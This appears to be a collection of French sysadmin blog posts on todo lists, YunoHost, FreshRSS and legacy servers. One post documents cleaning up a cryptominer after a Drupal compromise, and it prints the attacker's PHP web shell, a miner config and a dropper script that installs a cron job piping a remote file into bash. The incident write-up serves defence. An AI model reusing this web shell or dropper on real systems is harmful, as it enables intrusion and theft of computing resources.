J'ai utilisé différentes formes de todo-liste (de la feuille de tableur avec des colonnes à des listes papiers en passant par des kanban physiques...) et actuellement, j'ai deux types de todo-listes :
- Gitlab et son kanban avec un kanban dédié par projet. Je mets des actions qui seront à faire dans les prochains jours, semaines voir mois, pour chaque projet, chantier ou service que je gère. De temps en temps, je fais du tri, je nettoie, j'anote les tickets du Kanban (en ajoutant des liens vers la documentation du wiki quand elle a été rédigée depuis la saisie du ticket par exemple. Voir mon article Lifehacking - Gitlab, outil idéal ?
- une todo-liste papier, dans un cahier. Je prends des notes, je surligne avec des couleurs, je griffone, je raye. Je n'applique pas le conseil de Makoto pour les todo-listes mais je déchire les pages du cahier régulièrement, je réécrie les actions non encore faites (en en faisant le tri si besoin) sur une nouvelle page et je raye l'action précédente. Une fois que toute la page est raturée, je la jette. J'ai une todo-liste à jour et propre.

Réécrire mes actions dans une sorte de nouvelle todo liste, le fait de refaire une nouvelle todo liste à partir d'une todo existante (au sein de laquelle je raye donc ce qui a déjà été fait ou ce qui a été reporté et qui reste à faire) permet de mémoriser les actions à faire. La réécriture des actions me permet de voir si j'ai bien toutes les informations nécessaires pour faire cette action ultérieurement. Je peux aussi faire l'action dans la foulée, au lieu de la réécrire, appliquant ainsi un des préceptes de GTD Getting Things Done : chaque tache qui prend moins de 5 minutes est réalisée de suite, sinon elle est planifiée ou remise à plus tard, dans une "todo".

Pour les tickets Gitlab, je n'hésite pas à réécrire / renommer les tâches pour qu'elle soient plus explicites, ce qui est une forme de réécriture d'une certaine façon.

Le fait d'avoir une todo à jour, réécrite, me permet de rien oublier, de ne pas avoir à mémoriser et à m'encombrer l'esprit avec tout une série de tâches pour lesquelles je pourrais me pencher dessus le moment venu.

Yunohost, Let’s Encrypt – Soucis de renouvellement automatique pour un sous-domaines

J'aime bien avoir des sous-domaines thématiques et une application installé à la racine de sous domaine. Exemple cloud.toto.com avec Nextcloud à la racine (accessible via cloud.toto.com), rss.toto.com... Sur chacun de sous-domaines j'ai activé les certificats Let's Encrypt (fonctionnalité inclue par défaut dans l'interface d'administration des domaines de Yunohost).

J'avais un soucis de renouvellement automatique d'un certificat Let's Encrypt d'un sous-domaine qui arrivait à expiration, signalé par mail via la tâche cron qui gère ce renouvellement.

J'ai tenté via l'interface de renouveler le certificat ( Accueil > Domaines > status.toto.com > Certificat) et j'ai eu l'erreur du type

Wrote file to /tmp/acme-challenge-public/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw, but couldn't download http://
status.toto.com/.well-known/acme-challenge/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw

L'application installée (Cachet) était à la racine du domaine status.toto.com

Depuis la gestion de l'application dans la partie administration de Yunohost, j'ai migré l'application vers /cachet (Applications > Cachet > Changer l'URL)

J'ai alors relancé le renouvellement du Certificat depuis l'interface d'administration (clic sur le bouton "Renouveler manuellement maintenant).

Ça a marché !

J'ai rechangé l'url de l'application Cachet pour qu'elle soit de nouveau vers /, l'application Cachet est donc à la racine du domaine status.toto.com et la seule application du sous-domaine. Et le certificat pour le domaine status.toto.com est bon pour 89 jours...

A voir si lors de l'arrivée de la prochaine expiration du certificat pour ce sous-domaine je dois faire la même chose...

A noter que pour d'autres sous-domaines plus anciens ayant eux aussi des applications installées à la racine du sous-domaine (du coup une seule application par sous-domaine), je n'ai pas de soucis de renouvellement automatisé. A creuser via les logs à l'occasion.

Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Chatonkademy – Billet N°3 – FreshRSS, Yunohost et plusieurs utilisateurs

Série de billets sur le projet Chatonkademy

Dans ce billet je voudrais parler du cas de FreshRSS sur Yunohost avec plusieurs utilisateurs. Pour rappel, FreshRSS est une application de type agrégateur RSS, fort pratique (on peut se connecter dessus via son API pour avoir une application mobile avec EasyRSS (voir Yunohost, FreshRSS et EasyRSS pour Android).

A la suite de la création et de l'installation de l'instance Yunohost, j'ai créer un utilisateur pour moi (Genma), qui est l'utilisateur par défaur puis installer différentes applications dont FreshRSS. J'ai ensuite fait la création des utilisateurs en masse (une quarantaine) sur cette instance.

L'application n'est pas une application publique et partagée, chaque utilisateur a donc l'application disponible pour lui et aura la gestion de son propre contenu.

Le soucis est que les différents utilisateurs au moment du premier usage de FreshRSS (et des fois suivantes), rencontraient différents soucis : pas de possibilité d'importer un fil RSS, pas de possibilité de changement de langue...

La solution est de reprendre le répertoire FreshRSS de l'utilisateur qui était là à l'installation de FreshRSS et de dupliquer ce répertoire nécessaire au bon fonctionnement de FreshRSS.

Cela se fait via

cd /var/www/freshrss/data/users
# On prend comme liste d'utilisateurs ceux qui ont un dossier dans /home (créer automatiquement par Yunohost, à l'exception des dossiers Yuno*
for user in `ls /home -I yuno*` do
# On copie le dossier existant de l'utilisateur qui était initialement présent avant l'installation de FreshRSS
cp -R genma/ $user
# on change les droits car il faut que ce soit www-data le propriétaire du dossier
chown -R www-data: ./$user
done

On remarque donc que les données pour l'application FreshRSS dans Yunohost se trouvent dans le dossier /var/www/freshrss/data/users/
Ces données sont un fichier config.php qui contient des préférences / paramétrage de l'application et un fichier de log, log.txt qui contient des logs spécifiques à l'application (différents des logs liés à nginx qui se trouvent dans /var/log/nginx/).

Les données (fils RSS auxquels on est abonné, catégorie, lu ou non lu...) sont dans la base de données et sont bien sauvegardées par le script de l'application. Seul le paramétrage de l'interface n'est donc pas sauvegardé par défaut. A prendre en compte dans le processus de sauvegarde.

Lifehacking – Avoir des templates de documents dans Nautilus

J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.

Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement. Source Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus.

Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier template / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, de fichiers de Markdown pour le Wiki

Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bine utile au quotidien.

Yunohost 3.0 sur Debian 9 – Retour d’expérience rapide

Jusqu'à présent, Yunohost n'était compatible avec Debian 9 Stretch (uniquement Debian 8 Jessie). A l'annonce du passage en phase de test Beta sur le forum pour la compatibilité Debian 9, ayant un peu de temps, pour tester, je me suis lancé.

Yunohost 3.0 ?

Actuellement la version stable est la version 2.7.x. La version 3 apporte la compatibilité avec Debian 9 : une migration sur une instance déjà installée fait que la machine passe sous Debian 9. On a alors des versions plus récentes de PHP (passage de 5 à 7), ce qui sera mieux pour les futures versions à venir de Nextcloud qui nécessitent Php7. Et on est enfin sous Debian 9. Et ça c'est cool aussi.

Test dans une machine virtuelle clone de mon instance de production

Pour avoir un bac à sable qui ne craint rien, j'ai refait un clone complet via Clonezilla de mon instance de production (et j'ai ainsi un backup complet tout frais, en plus des sauvegardes régulières) que j'ai réimporté dans une nouvelle VM Virtualbox. Pour me connecter à celle-ci, j'ai modifié mon fichier hosts pour que l'IP de la VM corresponde aux noms de domaines de mon Yunohost de production. Je résume vite fait car je me suis basé sur mon expérience précédente abordée dans les billets précédemment écrit Yunohost dans Virtualbox et Yunohost, Clonezilla et Virtualbox

Et j'ai trouvé des bugs

J'ai ainsi pu tester plusieurs fois la migration (et repartir du snapshot fonctionnel de la VM), en indiquant à chaque fois les erreurs rencontrées, cherchant des solutions et contribuant ainsi, modestement, à mon niveau à Yunohost. Je suis assez content car mes tests ont permis de détecter des erreurs sur les applications suivantes Sonerezh et Nextcloud.

Dont voici la correction...

Le détail et toute la démarche faite durant quelques heures passées à comprendre et chercher est sur le forum, je donne directement les solutions :

Sonerezh

Il y a deux lignes où il y a des # et non des ; (ancien système de commentaire de PHP non compatible avec PHP 7).
On édite le fichier de configuration pour faire la correction :

nano -l /etc/php/7.0/fpm/pool.d/sonerezh.conf

Nextcloud

Module PHP manquant conduisant à une erreur Interne (500 dans les logs)

apt-get install php7.0-apcu -y
service nginx restart

